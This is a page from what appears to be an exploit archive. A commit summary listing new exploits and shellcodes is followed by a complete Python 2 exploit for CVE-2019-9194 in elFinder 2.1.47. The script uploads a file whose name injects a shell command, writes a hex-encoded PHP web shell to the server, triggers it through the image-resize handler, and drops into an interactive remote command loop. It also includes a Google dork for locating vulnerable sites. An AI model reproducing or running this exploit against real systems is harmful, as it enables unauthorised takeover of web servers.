a37e3008e5
20 changes to exploits/shellcodes Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (1) STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2) symphony CMS 2.3 - Multiple Vulnerabilities Symphony CMS 2.3 - Multiple Vulnerabilities Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 - Remote Code Execution zzzphp CMS 1.6.1 - Cross-Site Request Forgery Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload) Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit) OOP CMS BLOG 1.0 - Multiple SQL Injection OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery CMSsite 1.0 - Multiple Cross-Site Request Forgery elFinder 2.1.47 - Command Injection vulnerability in the PHP connector MarcomCentral FusionPro VDP Creator < 10.0 - Directory Traversal Bolt CMS 3.6.4 - Cross-Site Scripting Craft CMS 3.1.12 Pro - Cross-Site Scripting WordPress Plugin Cerber Security_ Antispam & Malware Scan 8.0 - Multiple Bypass Vulnerabilities Fiberhome AN5506-04-F RP2669 - Persistent Cross-Site Scripting Linux/x86 - NOT Encoder / Decoder - execve() /bin/sh Shellcode (44 bytes) Linux/x64 - Kill All Processes Shellcode (11 bytes) Linux/x86 - iptables -F Shellcode (43 bytes)
107 lines
No EOL
2.3 KiB
Python
Executable file
107 lines
No EOL
2.3 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
'''
|
|
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
|
|
# Date: 26/02/2019
|
|
# Exploit Author: @q3rv0
|
|
# Vulnerability reported by: Thomas Chauchefoin
|
|
# Google Dork: intitle:"elFinder 2.1.x"
|
|
# Vendor Homepage: https://studio-42.github.io/elFinder/
|
|
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
|
|
# Version: <= 2.1.47
|
|
# Tested on: Linux 64bit + Python2.7
|
|
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
|
|
# CVE: CVE-2019-9194
|
|
|
|
# Usage: python exploit.py [URL]
|
|
|
|
'''
|
|
|
|
import requests
|
|
|
|
import json
|
|
|
|
import sys
|
|
|
|
|
|
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
|
|
|
|
|
|
def usage():
|
|
|
|
if len(sys.argv) != 2:
|
|
|
|
print "Usage: python exploit.py [URL]"
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
def upload(url, payload):
|
|
|
|
files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
|
|
|
|
data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}
|
|
|
|
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
|
|
|
|
j = json.loads(r.text)
|
|
|
|
return j['added'][0]['hash']
|
|
|
|
|
|
def imgRotate(url, hash):
|
|
|
|
r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
|
|
|
|
return r.text
|
|
|
|
|
|
def shell(url):
|
|
|
|
r = requests.get("%s/php/SecSignal.php" % url)
|
|
|
|
if r.status_code == 200:
|
|
|
|
print "[+] Pwned! :)"
|
|
|
|
print "[+] Getting the shell..."
|
|
|
|
while 1:
|
|
|
|
try:
|
|
|
|
input = raw_input("$ ")
|
|
|
|
r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
|
|
|
|
print r.text
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
sys.exit("\nBye kaker!")
|
|
|
|
else:
|
|
|
|
print "[*] The site seems not to be vulnerable :("
|
|
|
|
|
|
def main():
|
|
|
|
usage()
|
|
|
|
url = sys.argv[1]
|
|
|
|
print "[*] Uploading the malicious image..."
|
|
|
|
hash = upload(url, payload)
|
|
|
|
print "[*] Running the payload..."
|
|
|
|
imgRotate(url, hash)
|
|
|
|
shell(url)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
main() |